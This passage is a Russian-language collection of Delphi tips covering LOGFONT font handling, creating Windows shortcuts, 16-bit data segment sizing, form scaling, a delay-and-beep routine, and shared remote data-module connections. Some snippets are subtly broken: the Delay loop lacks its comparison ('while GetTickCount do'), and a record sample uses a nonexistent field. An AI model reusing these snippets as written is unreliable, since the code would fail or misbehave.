  (FW_DONTCARE, FW_THIN, FW_EXTRALIGHT, FW_LIGHT, FW_NORMAL, FW_MEDIUM,
    FW_SEMIBOLD, FW_BOLD, FW_EXTRABOLD, FW_HEAVY);
  // Array to represent the TLOGFONT.lfOutPrecision values
  OutPrecArray: array[0..7] of byte = (OUT_DEFAULT_PRECIS,
    OUT_STRING_PRECIS, OUT_CHARACTER_PRECIS, OUT_STROKE_PRECIS,
    OUT_TT_PRECIS, OUT_DEVICE_PRECIS, OUT_RASTER_PRECIS,
    OUT_TT_ONLY_PRECIS);
  // Array to represent the TLOGFONT.lfPitchAndFamily higher four-bit values
  FamilyArray: array[0..5] of byte = (FF_DONTCARE, FF_ROMAN,
    FF_SWISS, FF_MODERN, FF_SCRIPT, FF_DECORATIVE);
  // Array to represent the TLOGFONT.lfPitchAndFamily lower two-bit values
  PitchArray: array[0..2] of byte = (DEFAULT_PITCH, FIXED_PITCH,
    VARIABLE_PITCH);
  // Array to represent the TLOGFONT.lfClipPrecision values
  ClipPrecArray: array[0..6] of byte = (CLIP_DEFAULT_PRECIS,
    CLIP_CHARACTER_PRECIS, CLIP_STROKE_PRECIS, CLIP_MASK, CLIP_LH_ANGLES,
    CLIP_TT_ALWAYS, CLIP_EMBEDDED);
  // Array to represent the TLOGFONT.lfQuality values
  QualityArray: array[0..2] of byte = (DEFAULT_QUALITY, DRAFT_QUALITY,
    PROOF_QUALITY);
type
  TMainForm = class(TForm)
    lblHeight: TLabel;
    lblWidth: TLabel;
    gbEffects: TGroupBox;
    cbxItalic: TCheckBox;
    cbxUnderline: TCheckBox;
    cbxStrikeOut: TCheckBox;
    cbWeight: TComboBox;
    lblWeight: TLabel;
    lblEscapement: TLabel;
    cbEscapement: TComboBox;
    pbxFont: TPaintBox;
    cbCharSet: TComboBox;
    lblCharSet: TLabel;
    cbOutPrec: TComboBox;
    lblOutPrecision: TLabel;
    cbFontFace: TComboBox;
    rgPitch: TRadioGroup;
    cbFamily: TComboBox;
    lblFamily: TLabel;
    lblClipPrecision: TLabel;
    cbClipPrec: TComboBox;
    rgQuality: TRadioGroup;
    btnSetDefaults: TButton;
    btnFontInfo: TButton;
    lblFaceName: TLabel;
    rgGraphicsMode: TRadioGroup;
    lblOrientation: TLabel;
    cbOrientation: TComboBox;
    seHeight: TSpinEdit;
    seWidth: TSpinEdit;
    procedure pbxFontPaint(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    procedure btnFontInfoClick(Sender: TObject);
    procedure btnSetDefaultsClick(Sender: TObject);
    procedure rgGraphicsModeClick(Sender: TObject);
    procedure cbEscapementChange(Sender: TObject);
    procedure FontChanged(Sender: TObject);
  private
    { Private declarations }
    FLogFont: TLogFont;
    FHFont: HFont;
    procedure MakeFont;
    procedure SetDefaults;
  public
    { Public declarations }
  end;
var
  MainForm: TMainForm;
implementation
uses FontInfoFrm;
{$R *.DFM}
procedure TMainForm.MakeFont;
begin
  // Clear the contents of FLogFont
  FillChar(FLogFont, sizeof(TLogFont), 0);
  // Set the TLOGFONT's fields
  with FLogFont do
  begin
    lfHeight := StrToInt(seHeight.Text);
    lfWidth := StrToInt(seWidth.Text);
    lfEscapement := StrToInt(cbEscapement.Items[cbEscapement.ItemIndex]);
    lfOrientation := StrToInt(cbOrientation.Items[cbOrientation.ItemIndex]);
    lfWeight := WeightArray[cbWeight.ItemIndex];
    lfItalic := ord(cbxItalic.Checked);
    lfUnderline := ord(cbxUnderLine.Checked);
    lfStrikeOut := ord(cbxStrikeOut.Checked);
    lfCharSet := CharSetArray[cbCharset.ItemIndex];
    lfOutPrecision := OutPrecArray[cbOutPrec.ItemIndex];
    lfClipPrecision := ClipPrecArray[cbClipPrec.ItemIndex];
    lfQuality := QualityArray[rgQuality.ItemIndex];
    lfPitchAndFamily := PitchArray[rgPitch.ItemIndex] or
      FamilyArray[cbFamily.ItemIndex];
    StrPCopy(lfFaceName, cbFontFace.Items[cbFontFace.ItemIndex]);
  end;
  // Retrieve the requested font
  FHFont := CreateFontIndirect(FLogFont);
  // Assign to the Font.Handle
  pbxFont.Font.Handle := FHFont;
  pbxFont.Refresh;
end;
procedure TMainForm.SetDefaults;
begin
  // Set the various conrols to default values for ALogFont
  seHeight.Text := '0';
  seWidth.Text := '0';
  cbxItalic.Checked := false;
  cbxStrikeOut.Checked := false;
  cbxUnderline.Checked := false;
  cbWeight.ItemIndex := 0;
  cbEscapement.ItemIndex := 0;
  cbOrientation.ItemIndex := 0;
  cbCharset.ItemIndex := 1;
  cbOutPrec.Itemindex := 0;
  cbFamily.ItemIndex := 0;
  cbClipPrec.ItemIndex := 0;
  rgPitch.ItemIndex := 0;
  rgQuality.ItemIndex := 0;
  // Fill CBFontFace TComboBox with the screen's fonts
  cbFontFace.Items.Assign(Screen.Fonts);
  cbFontFace.ItemIndex := cbFontFace.Items.IndexOf(Font.Name);
end;
procedure TMainForm.pbxFontPaint(Sender: TObject);
begin
  with pbxFont do
  begin
    { Note that in Windows 95, the graphics mode will always be GM_COMPATIBLE
      as GM_ADVANCED is recognized only by Windows NT. }
    case rgGraphicsMode.ItemIndex of
      0: SetGraphicsMode(pbxFont.Canvas.Handle, GM_COMPATIBLE);
      1: SetGraphicsMode(pbxFont.Canvas.Handle, GM_ADVANCED);
    end;
    Canvas.Rectangle(2, 2, Width - 2, Height - 2);
    // Write the fonts name
    Canvas.TextOut(Width div 2, Height div 2, CBFontFace.Text);
  end;
end;
procedure TMainForm.FormActivate(Sender: TObject);
begin
  SetDefaults;
  MakeFont;
end;
procedure TMainForm.btnFontInfoClick(Sender: TObject);
begin
  FontInfoForm.ShowModal;
end;
procedure TMainForm.btnSetDefaultsClick(Sender: TObject);
begin
  SetDefaults;
  MakeFont;
end;
procedure TMainForm.rgGraphicsModeClick(Sender: TObject);
begin
  cbOrientation.Enabled := rgGraphicsMode.ItemIndex = 1;
  if not cbOrientation.Enabled then
    cbOrientation.ItemIndex := cbEscapement.ItemIndex;
  MakeFont;
end;
procedure TMainForm.cbEscapementChange(Sender: TObject);
begin
  if not cbOrientation.Enabled then
    cbOrientation.ItemIndex := cbEscapement.ItemIndex;
end;
procedure TMainForm.FontChanged(Sender: TObject);
begin
  MakeFont;
end;
end.
Скачать весь проект

Создание ярлыка для конкретного файла.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Создание ярлыка для конкретного файла
ВХОДНЫЕ ПАРАМЕТРЫ.
FILENAME - имя файл ДЛЯ КОТОРОГО будет создан ярлык (*.lnk).
DestDirectory - путь к каталогу, в котором должен быть расположен
создаваемый ярлык.
OverwriteExisting - если TRUE, то в случае существования создаваемого ярлыка
в папке назначения, то существующий ярлык с
подобным именем будет переписан.
AddNumberIfExists - если TRUE, то в при существовании ярлыка с подобным
именем в папке назначения,существующий ярлык не будет переписан, а к
создаваемому ярлыку будет добавлено число, определяющее номер копии
создаваемого ярлыка.
ВНИМАНИЕ !!! Параметр OverwriteExisting является более влиятельным по
отношению к параметру AddNumberIfExists, т.е. при передачи
обоим параметрам TRUE, существующий ярлык
(если таковой имеется в папке назначения),
будет переписан.
Зависимости: shlObj, activeX, SysUtils, filectrl, comObj, UBPFD.ExtractFileNameEX
Автор:       VID, snap@iwt.ru, ICQ:132234868, Махачкала
Copyright:   Списал с одного из FAQ + собственные корректировки и расширение возможностей
Дата:        19 апреля 2002 г.
***************************************************** }
function CreateLink(FileName, DestDirectory: string; OverwriteExisting,
  AddNumberIfExists: Boolean): string;
var
  MyObject: IUnknown;
  MySLink: IShellLink;
  MyPFile: IPersistFile;
  WFileName: WideString;
  X: INTEGER;
begin
  //Изначально RESULT = ''
  Result := '';
  //Если фиайла, для которого создаётся ярлык не существует, или же не
  // существует директории, где должен быть создан ярлык файла, то EXIT
  if (FileExists(FileName) = FALSE) or (DirectoryExists(DestDirectory) = FALSE)
    then
    exit;
  MyObject := CreateComObject(CLSID_SHELLLINK);
  MyPFile := MyObject as IPersistFile;
  MySLink := MyObject as IShellLink;
  with MySLink do
  begin
    SetArguments('');
    SetPath(PChar(FileName));
    SetWorkingDirectory(PChar(ExtractFilePath(FileName)));
  end;
  //Гарантирование проставление завершающего '\' в пути директории
  //расположения создаваемого ярлыка
  if DestDirectory[length(DestDirectory)] <> '\' then
    DestDirectory := DestDirectory + '\';
  // Первичное определене будующего имени ярлыка
  WFileName := DestDirectory + ExtractFileNameEx(FileName, FALSE) + '.lnk';
  //Если ярлык с таким именем уже существует, то
  if (FileExists(WFileName)) then
  begin
    // Если не надо переписывать существующий ярлык, а надо добавить
    // порядковый номер существования к имени создаваемого ярлыка, например
    // blobby1.lnk, blobby2.lnk
    if (OverwriteExisting = FALSE) and (AddNumberIfExists = TRUE) then
    begin
      // Определяем какой именно порядковый номер надо добавить к
      // имени ярлыка
      X := 0;
      repeat
        X := X + 1;
        WFileName := DestDirectory + ExtractFileNameEx(FileName, FALSE)
          + IntToStr(X) + '.lnk';
      until FileExists(WFileName) = FALSE;
      // И сохраняем ярлык
      MyPFile.Save(PWChar(WFileName), FALSE);
      Result := WFileName;
    end;
    //Если надо переписывать существующий ярлык
    if OverwriteExisting = TRUE then
    begin
      //..., то переписываем его :)
      MyPFile.Save(PWChar(WFileName), FALSE);
      Result := WFileName;
    end;
  end
  else
  begin
    //В случае, если ярлыка с подобным имененм ещё нет в папке
    //назначения, то создаём ярлык
    MyPFile.Save(PWChar(WFileName), FALSE);
    Result := WFileName;
  end;
end;

Создание ярлыка для конкретного файла 2.

Автор: Lipskiy WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Создание ярлыка для конкретного файла (2)
Процедура создает ярлык к файлу FilePath,
располагает ярлык в папке ShortcutPath,
заносит в ярлык поля: рабочей директории WorkDir,
текстового описания Description,
параметров запуска Params.
Зависимости: ShlObj, ActiveX, ComObj
Автор:       lipskiy, lipskiy@mail.ru, ICQ:51219290, Санкт-Петербург
Copyright:   Из FAQ
Дата:        10 мая 2002 г.
***************************************************** }
procedure CreateShortcut(const FilePath, ShortcutPath,
  WorkDir, Description, Params: string);
var
  obj: IUnknown;
  isl: IShellLink;
  ipf: IPersistFile;
begin
  obj := CreateComObject(CLSID_ShellLink);
  isl := obj as IShellLink;
  ipf := obj as IPersistFile;
  with isl do
  begin
    SetPath(PChar(FilePath));
    SetArguments(PChar(Params));
    SetDescription(PChar(Description));
    SetWorkingDirectory(PChar(WorkDir));
  end;
  ipf.Save(PWChar(WideString(ShortcutPath)), False);
end;

Пример использования:

// пример создания ярлыка на рабочем столе
var
  UserDesktop: string;
  R: TRegIniFile;
begin
  R := TRegIniFile.Create('');
  with R do
  begin
    RootKey := HKEY_CURRENT_USER;
    UserDesktop :=
      ReadString('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',
      'desktop', '');
    Free;
  end;
  CreateShortcut(Application.ExeName, UserDesktop +
    '\Название ярлыка.lnk', '', '', '');
end;

Управление размером сегмента данных.

В компьютерном сервисном центре: - Здравствуйте, я вам вчера в ремонт память сдавал... - Какую именно? - Не помню...
Тема: Управление размером сегмента данных Ошибка "Data Segment too large" (сегмент данных слишком велик) возникает в Delphi 16-битных приложениях в случае, когда размер статических данных, стека и локальной кучи превышает предел приложений Windows, установленный в 64К. В данном совете обсуждается тема идентификации и изменения части вашего кода, которая поглощает память в сегменте данных, и как, собственно, управлять этим ограниченным ресурсом. Из чего состоит сегмент данных?
Task header: 	16 байт различной системной информации Windows
(заголовок 
 задачи)
Static data: 	Содержит глобальные переменные и типовые 
(статические    константы
 данные)
Stack:          Хранит локальные переменые, распределенные 
(стек)		процедурами и функциями. Размер стека по 
                по умолчанию 16К и может быть изменен на
                странице Options|Project|Linker.
Local heap: 	Используется Windows для временного хранения и
(локальная	по умолчанию имеет размер 8К. Не устанавливайте
 куча)		разнер локальной кучи, равным 0. Windows при
                необходимости может увеличить данную область.
Как мне узнать полный размер сегмента данных? Для того, чтобы получить размер статических данных 16-битного приложения Delphi, стека и локальной кучи для проекта, скомпилируйте проект и выберите в меню Delphi пункт Compile|Information. Для нового проекта с одной формой диалог покажет следующую информацию:
Source compile:	 12 lines (скомпилировано 12 строк исходного кода)
Code size:	 128981 bytes (размер кода 128981 байт)
Data size:	 3636 bytes (размер данных 3636 байт)
Stack size:	 16384 bytes (размер стека 16384 байт)
Local Heap size: 8192 bytes (размер локальной кучи 8192 байт)
Приложение Delphi начинается с объявления в модуле статических данных, тем самым обеспечивая функциональную инициализацию. Если единственная глобальная переменная является именем формы, то приложение занимает уже, по крайней мере, 3,636 байт. Добавляя вторую форму, размер увеличивается только до 3640 -- добавляется только размер глобальной переменной, необходимой для объявления второй формы.
var
  Form2: TForm2; { 4-х байтный указатель }
Общий размер сегмента данных (сумма статических данных, стека и локальной кучи) составляет 28,212 байт:
Data size:	  3,636
Stack size:	 16,384
Local Heap size:  8,192
-----------------------
     		 28,212
Какие части моего проекта увеличивают размер данных? Переменные, объявленные в секции interface и implementation. Типизированные константы, объявленные в любом месте приложения.

Пример объявления типизированной константы:

const
  MyConst: integer = 100;
Модули, объявленные в списке Uses, и компоненты могут содержать код с объявлениями глобальных переменных или типизированных констант. Например, TBitBtn добавляет к проекту 180 байт, и, по крайней мере, 132 байт резервируются для типизированных констант и глобальных переменных, объявленных в модуле Buttons.Pas. При добавлении дополнительных 10 компонентов TBitBtn, размер проекта после первых 180 байт не увеличится.

Следующий демонстрационный модуль включает в себя комментарии, описывающие использование памяти:

unit Test;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls;
{ Используемые в модуле функции могут иметь глобальные
  переменные и типизированные константы,
  которые увеличивают размер сегмента данных. }
type
  { Объекты класса хранятся в глобальной куче, не в сегменте данных}
  TForm1 = class(TForm)
    Label1: TLabel;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  public
    { MyInteger и MyString хранятся в глобальной куче. }
    MyInteger: Integer;
    MyString: string;
  end;
const
  { MyConst - типизированная константа и сохраняется
  в области статических данных сегмента.
  Минимизируйте количество типизированных констант. }
  MyConst: integer = 23;
var
  { Form1 - глобальная переменная и хранится в области
  статических данных сегмента. Вы должны минимизировать
  число и размер глобальных переменных. Form1 является
  указателем и занимает только четыре байта. }
  Form1: TForm1;
  { MyGlobalString занимает 256 байт, даже если строка
  состояла бы всего из нескольких символов. }
  MyGlobalString: string;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
  { MyLocal - локальная переменная и не хранится в сегменте данных. }
  MyLocal: string;
begin
  MyLocal := 'Тестовое приложение';
  Label1.Caption := MyLocal
end;
end.
Как влияют компоненты на размер данных? Вот список компонентов со страниц Standard, Additional, Data Access и Data Control (часть списка) палитры компонентов. В списке приведен размер компилиции после добавления к новому проекту единственного экземпляра компонента. Список отсортирован согласно количеству расходуемой памяти:
  Компонент	 Прил.	Байтов 
  		 в 	свыше
  		 байт.	3,636
  		
  table		 4272	636
  batchmove	 4272	636
  storedproc	 4258	622
  query		 4250	614
  database       4036	400
  datasource	 3886	250
  outline	 3838	202
  bitbtn	 3816	180
  stringgrid 	 3794	158
  drawgrid  	 3790	154
  maskedit  	 3762	126
  memo		 3750	114
  report	 3722	86
  listbox	 3704	68
  edit		 3694	58
  tabset	 3692	56
  combobox	 3674	38
  scrollbar   	 3654	18
  button	 3652	16
  checkbox 	 3652	16
  radiobutton	 3652	16
  radiogroup	 3652	16
  panel		 3650	14
  label		 3648	12
  speedbutton	 3646	10
  header	 3644	8
  scrollbox  	 3644	8
  notebook  	 3638	2
  menu		 3636	0
  groupbox 	 3636	0
  tabbednotebook 3636	0
  image		 3636	0
  shape		 3636	0
Как управлять размером сегмента данных? Избегайте объявления глобальных переменных и типизированных констант, особенно больших массивов. Вместо этого объявляйте тип и указель на него. Затем пользуйтесь функциями для работы с памятью, например, Getmem, которая распределит вам память в глобальной куче. Это уменьшит использование ресурсов в сегменте данных до 4 байт, необходимых для переменной указательного типа. Смотрите ниже пример кода. Отдавайте себе отчет о влиянии компонентов. Смотри выше. Если у вас имеется множество строк, или массив строк, распределяйте это динамически. Примечание: по умолчанию длина строки равна 255 символам -- объявляйте, где это возможно, специфический размер строки: (например, MyShortString: string[20]). При необходимости работать с большим количеством строк рекомендуется использовать объект TStringList. Тип Pchar, "указатель на строку", может быть использован для динамического создания и управления символьными строками, используя при этом небольшое размер сегмента данных. Смотри раздел электронной справки "String-handling routines (Null-terminated)" (подпрограммы обработки строк (с терминирующим нулем)). Информация, необходимая для работы с памятью, доступна в Object Pascal Language Guide (руководство по языку Object Pascal), OBJLANG.ZIP и может быть загружена из Compuserve, форум DELPHI, или из Интернета по адресу www.borland.com/TechInfo/delphi/whatsnew/dwnloads.html. Альтернатива для глобального объявления большой структуры

Первый пример расходует 32 байта сегмента данных, второй всего-лишь 4 байта, но выполняет ту же задачу.

{ Объявление TMyStructure не вызовет никаких изменений в размере сегмента данных. }
TMyStructure = record
Name: String[10];
Data: array[0..9] of Integer;
end;
var
Form1: TForm1;
{ Объявление MyStructure вызовет увеличение
размера сегмента памяти на 32 байта:
указатель Mystructure = 1 байт
Name = 11 байт (10 символов + байт длины)
Data = 20 байт (10 * 2 байт на целое)
}
MyStructure: TMyStructure;
{ Объявление TMyStructure не вызовет никаких изменений в размере сегмента данных. }
PMyStructure = ^TMyStructure;
TMyStructure = record
Name: String[10];
Data: array[0..9] of Integer;
end;
var
Form1: TForm1;
{ MyDataPtr вызывает увеличение на 4 байта
для размещения указательной переменной. }
MyDataPtr: PMyStructure;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
{ Здесь ресурсы берутся из кучи. }
New(MyDataPtr);
MyDataPtr.Name := 'Fred';
MyDataPtr.array[0] := 560;
Dispose(MyDataPtr);
end;

Вы также можете разместить объявление переменной в пределах класса:

type
TMyBigArray = array[1..100] of string
TForm1 = class(TForm)
public
{ Это объявление не повлияет на размер сегмента данных. }
MyBigArray: TMyBigArray;
end;
var
{ Это объявление увеличивает сегмент данных на 25,600 байт. }
MyOtherBigArray: TMyBigArray;

Ручное масштабирование формы.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Der erste Parameter von ScaleBy ist der Multiplikator, der zweite 
  der Divisor. Folgendes Beispiel skaliert die Form auf 150% 
  The first parameter of ScaleBy is the multiplier, the second 
  the divisor. The example scale the form to 150% 
}
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ScaleBy(150, 100);
 end;

Заставить динамик пикнуть несколько раз с задержкой между сигналами, не зависящей от частоты процессора.

Нужно воспользоваться следующей процедурой:

procedure Delay(ms : longint);
{$IFNDEF WIN32}
var
  TheTime : LongInt;
  {$ENDIF}
begin
  {$IFDEF WIN32}
  Sleep(ms);
  {$ELSE}
  TheTime := GetTickCount + ms;
  while GetTickCount do
    Application.ProcessMessages;
  {$ENDIF}
end;

А воспользуемся ею, например, в обработчике нажатия кнопки:

procedure TForm1.Button1Click(Sender: TObject);
begin
  MessageBeep(word(-1));
  Delay(200);
  MessageBeep(word(-1));
  Delay(200);
  MessageBeep(word(-1));
end;

Множество модулей данных – одно соединение.

Автор: Bill Todd (The Database Group, Inc) WEB-сайт: http://www.programme.ru Перевод: Олег Мотов При создании многоуровневых приложений в предыдущих версиях Delphi многие разработчики сталкивались с одной проблемой – трудностью размещения всех необходимых компонентов доступа к данным в одном модуле данных. Решение заключалось в том, чтобы использовать несколько удаленных модулей данных. Первая проблема этого решения состоит в том, что клиентскому приложению необходимо отдельное соединение для каждого модуля данных на сервере приложений. А это – нагрузка на системные ресурсы и на клиенте и на сервере. Вторая проблема состоит в том, что удаленные модули данных, относящиеся к одному клиенту, абсолютно ничего не знают друг о друге. Например, не существует способа из одного модуля данных вызвать метод другого модуля данных, относящегося к тому же клиенту. Delphi 6 решает эти проблемы, позволяя клиентскому приложению использовать одно соединение для многих модулей данных на сервере приложений. Делается это не совсем тривиально – только перетаскивания компонентов и запуска «мастеров» недостаточно. Чтобы построить приложение, которое использует разделяемое соединение, придется добавить кое-какие интерфейсы и свойства в библиотеку типов на сервере приложений. Впрочем, достаточно один раз разобраться, как это делается – и в дальнейшем разработка приложений, использующих одно соединение для многих модулей данных, становится несложной. Лучший способ понять этот процесс состоит в том, чтобы пройти через построение демонстрационного приложения, что мы и сделаем в этой статье. В этой статье подразумевается, что читатель знает, как строить многоуровневое приложение в Delphi 5 с использованием компонентов MIDAS. Построение сервера

Чтобы построить сервер, создайте новый проект и добавьте к нему удаленный модуль данных. В нашем приложении используется демонстрационная база данных InterBase, а для соединения с базой данных применяется dbExpress. На рис. 1 показан законченный модуль данных. Он содержит компоненты SQLConnection, SQLDataSet и DataSetProvider.

Статьи по Delphi (011)… Рисунок 1. Удаленный модуль данных employee В компоненте SQLConnection, названном EmpConn, свойство DriverName установлено в InterBase. Свойство компонента Params изменено так, чтобы в нем содержался правильный путь к демонстрационной базе данных InterBase. Если вы загрузите демонстрационное приложение, перед запуском надо будет изменить этот путь. Демонстрационное приложение доступно для загрузки, подробности см. в конце статьи. В компоненте SQLDataSet, названном EmpDs, свойство SQLConnection указывает на компонент подключения EmpConn. Свойству CommandText присвоена команда ‘SELECT * FROM Employee’. В компоненте DataSetProvider (EmpProv) свойство DataSet указывает на EmpDs.

Далее следует добавить второй удаленный модуль данных к проекту сервера. Второй удаленный модуль данных изображен на рис. 2, он содержит один компонент SQLDataSet (CustDs) со значением ’SELECT * FROM Customer’ свойства CommandText. Модуль данных также содержит DataSetProvider (CustProv), связанный с SQLDataSet.

Статьи по Delphi (011)… Рисунок 2. Удаленный модуль данных customer Теперь нужно добавить необходимые интерфейсы и свойства в библиотеку типов сервера приложений. На рис. 3 показан редактор Type Library с развернутым интерфейсом IEmployeeDm. Чтобы использовать одно разделяемое соединение для доступа ко многим удаленным модулям данных, один из модулей должен быть назначен главным, а все другие модули будут дочерними. В этом примере удаленный модуль данных employee будет главным, а удаленный модуль данных customer дочерним.

Для каждого дочернего модуля данных вы должны добавить свойство, доступное только для чтения в интерфейс главного удаленного модуля данных. На рис. 3 в интерфейс модуля данных employee было добавлено свойство CustomerRdm типа ICustomerDm (интерфейс дочернего модуля данных). Интерфейс дочернего модуля данных ICustomerDm, появляется в раскрывающемся списке типов, так что вам остается лишь выбрать его из списка.

Статьи по Delphi (011)… Рисунок 3. Свойство дочернего удаленного модуля данных, добавленное к интерфейсу главного модуля данных Это – единственное изменение, которое нужно сделать в библиотеке типов сервера приложений, чтобы воспользоваться преимуществами разделяемого соединения. Одно из достоинств этой технологии – способность любого экземпляра дочернего модуля данных обратиться к интерфейсу главного модуля данных того же соединения. Для этого к интерфейсу каждого дочернего удаленного модуля данных нужно добавить еще одно свойство. Легче всего это сделать, добавив новый интерфейс в библиотеку типов, затем добавить к нему необходимое свойство и использовать этот интерфейс в качестве предка всех дочерних модулей данных.

На рис. 4 показан редактор Type Library с новым интерфейсом IChildDm типа IAppServer. В этот интерфейс добавлено свойство EmployeeRdm типа IEmployeeDM. Затем свойство Parent Interface интерфейса ICustomerDm было изменено на IChildDm. Меняя родительский интерфейс, вы позволяете интерфейсу ICustomerDm унаследовать свойство EmployeeRdm из интерфейса IChildDm. Такую же замену свойства Parent Interface следует сделать в каждом дочернем удаленном модуле данных.

Статьи по Delphi (011)… Рисунок 4. Интерфейс IChildDm со свойством EmployeeRdm

После нажатия на кнопку Refresh и закрытия редактора Type Library настало время добавить код к методам чтения и записи добавленных нами свойств. Перейдем в раздел инициализации модуля (unit) дочернего модуля данных. Там вы увидите тот код, который ниже показан в комментарии и помечен "Before:" (он создан автоматически). Измените этот код, чтобы получилось примерно так:

initialization
// Before:
// TComponentFactory.Create(ComServer, TCustomerDm, _CustomerDm, ciInternal, tmApartment);
// After:
  CustRdmFactory := TComponentFactory.Create(ComServer, TCustomerDm,
    Class_CustomerDm, ciInternal, tmApartment);
// В разделе interface модуля следует добавить переменную CustRdmFactory,
// чтобы сохранить ссылку на экземпляр фабрики компонентов, возвращаемую
// вызовом TcomponentFactory.Create:
var
  CustRdmFactory: TComponentFactory;

Теперь, когда есть глобальная переменная, которая указывает на экземпляр объекта фабрики компонентов, создать экземпляр дочернего удаленного модуля данных можно из любого места приложения вызовом метода CreateCOMObject фабрики компонентов. Вызов объекта фабрики компонентов дочернего удаленного модуля данных входит в метод чтения свойства CustomerRdm, которое ранее было добавлено к интерфейсу IEMPLOYEEDM. Код для метода Get_CustomerRdm:

function TEmployeeDm.Get_CustomerRdm: ICustomerDm;
begin
  Result := CustRDMFactory.CreateCOMObject(nil) as ICustomerDm;
  Result.EmployeeRdm := Self;
end;

Чтобы создать экземпляр дочернего удаленного модуля данных и присвоить ссылку на его интерфейс свойству CustomerRdm, в первой строке этого метода вызывается метод CreateCOMObject фабрики компонентов дочернего удаленного модуля данных. Во второй строке этого метода Self (то есть ссылка на главный удаленный модуль данных) назначается свойству EmployeeRdm нового объекта дочернего модуля данных. Это позволяет дочернему удаленному модулю данных CustomerDm обращаться к свойствам и вызывать методы главного удаленного модуля данных EmployeeDm. Последнее, что вы должны добавить в сервер приложений, нужно для методов чтения и записи свойства EmployeeRdm. Эти методы просто получают и устанавливают значение свойства:

function TCustomerDm.Get_EmployeeRdm: IEmployeeDm;
begin
  Result := FEmployeeRdm;
end;
procedure TCustomerDm.Set_EmployeeRdm(const Value: IEmployeeDm);
begin
  FEmployeeRdm := Value;
end;
Построение клиента

Демонстрационное клиентское приложение состоит из удаленного модуля данных (рис. 5) и формы (рис. 6). Модуль данных содержит компонент DCOMConnection, свойству ServerName которого присвоено значение EmpSrvr.EmployeeDm, чтобы соединить его с главным удаленным модулем данных сервера приложений.

Статьи по Delphi (011)…

Рисунок 5. Модуль данных клиентского приложения.

Статьи по Delphi (011)… Рисунок 6. Модуль данных клиентского приложения Ниже компонента DCOMConnection EmpDcom можно увидеть компонент ConnectionBroker. Это – новый компонент в Delphi 6, он позволяет добавлять новый программный слой между множеством компонентов ClientDataSet и компонентом соединения, с которым они связаны. Это дает возможность менять компонент соединения, который используют компоненты ClientDataSet, изменяя свойство Connection компонента ConnectionBroker, вместо того, чтобы изменять свойство RemoteServer каждого компонента ClientDataSet. В этом приложении не имеет смысла использовать ConnectionBroker, потому что есть только один ClientDataSet. Я включил ConnectionBroker только для того, чтобы показать, как им пользоваться. Чтобы воспользоваться компонентом ConnectionBroker, достаточно поместить его на модуль данных и присвоить его свойству Connection ссылку на тот компонент соединения, который вы хотите использовать. Когда вы добавите ClientDataSet, обратите внимание, что у него есть новое свойство ConnectionBroker. В компоненте ClientDataSet установите только свойство ConnectionBroker, а свойство RemoteServer оставьте пустым. Свойству ConnectionBroker компонента ClientDataSet EmpCds присвоена ссылка на компонент ConnectionBroker EmpBrkr, а свойство ProviderName ссылается на EmpProv. Прежде чем вы сможете соединить ClientDataSet с провайдером customer дочернего модуля данных на сервере приложений, надо добавить компонент SharedConnection к модулю данных клиента. Компонент SharedConnection (см. рис. 5) называется CustShrd. У него есть свойство ParentConnection, которому присвоена ссылка на компонент EmpDcon. У компонента SharedConnection вы не можете устанавливать свойство ParentConnection так, чтобы оно указывало на компонент ConnectionBroker. Это, очевидно, разрушает смысл использования ConnectionBroker, потому что вы больше не можете менять соединения, просто изменяя свойство Connection одного ConnectionBroker. Компонент SharedConnection также имеет свойство ChildName. Выбрав это свойство в Object Inspector и нажав на раскрывающую стрелку, вы увидите список всех дочерних удаленных модулей данных сервера приложений. В демонстрационном приложении этой статьи есть только один дочерний удаленный модуль данных – CustomerRdm. Чтобы подключить более одного компонента ClientDataSet к компоненту SharedConnection, можно добавить компонент ConnectionBroker и соединить его с компонентом SharedConnection. Хотя демонстрационное приложение имеет только один ClientDataSet CustCds, использующий разделяемое соединение, в нем применяется компонент ConnectionBroker (только для того, чтобы показать, как его использовать с компонентом SharedConnection). Разработка оставшейся части клиентского приложения не отличается от разработки любого другого многоуровневого клиента в Delphi. Только соедините компоненты DataSource с ClientDataSet и компоненты пользовательского интерфейса с DataSource. Заключение Если вы собираетесь разрабатывать многоуровневые приложения, компонент SharedConnection будет очень полезным дополнением к Delphi. Теперь вы можете разделять одно соединение между многими удаленными модулями данных. Удаленные модули данных можно написать так, чтобы они могли легко взаимодействовать друг с другом, обращаясь к свойствам главного удаленного модуля данных и, при необходимости, вызывая его методы. Так как у главного удаленного модуля данных есть свойство, которое содержит интерфейсную ссылку на каждый дочерний удаленный модуль данных, он может обращаться к свойствам любого дочернего модуля и вызывать его методы. Вы можете даже делать запросы «дочерний-к-дочернему» при наличии у дочернего модуля данных свойства, которое хранит ссылку на главный модуль данных. Используя это свойство, можно обращаться к интерфейсу другого дочернего модуля данных. Компонент ConnectionBroker – также полезное дополнение, потому что он намного упрощает использование различных соединений в одном клиенте. Например, можно использовать компонент DCOMConnection, когда вы запускаете программы клиента и сервера приложений на одной машине во время разработки и тестирования, и легко переключаться на SocketConnection, WebConnection или CorbaConnection, чтобы соединиться с удаленным сервером приложений. Единственный недостаток компонента ConnectionBroker состоит в том, что к нему невозможно подключать SharedConnection.

СКАЧАТЬ ИСХОДНИК К ЭТОЙ СТАТЬЕ

Два и более обработчика события.

На недавней компьютерной выставке (COMDEX) Билл Гейтс сравнил компьютерную промышленность с автомобильной и, в частности, сказал: - Если бы Дженерал Моторс осваивала достижения технологии с таким же эффектом, как это происходит в компьютерной промышленности, то мы все уже бы ездили на 25-ти долларовых машинах с расходом бензина 10 литров на 1000 километров. На что Дженерал Моторс отреагировала: - Да, но хотели бы вы чинить ваш автомобиль дважды в день?
procedure TForm1.FormKeyDownFIRST(Sender: TObject;
 var Key: Word; Shift: TShiftState);
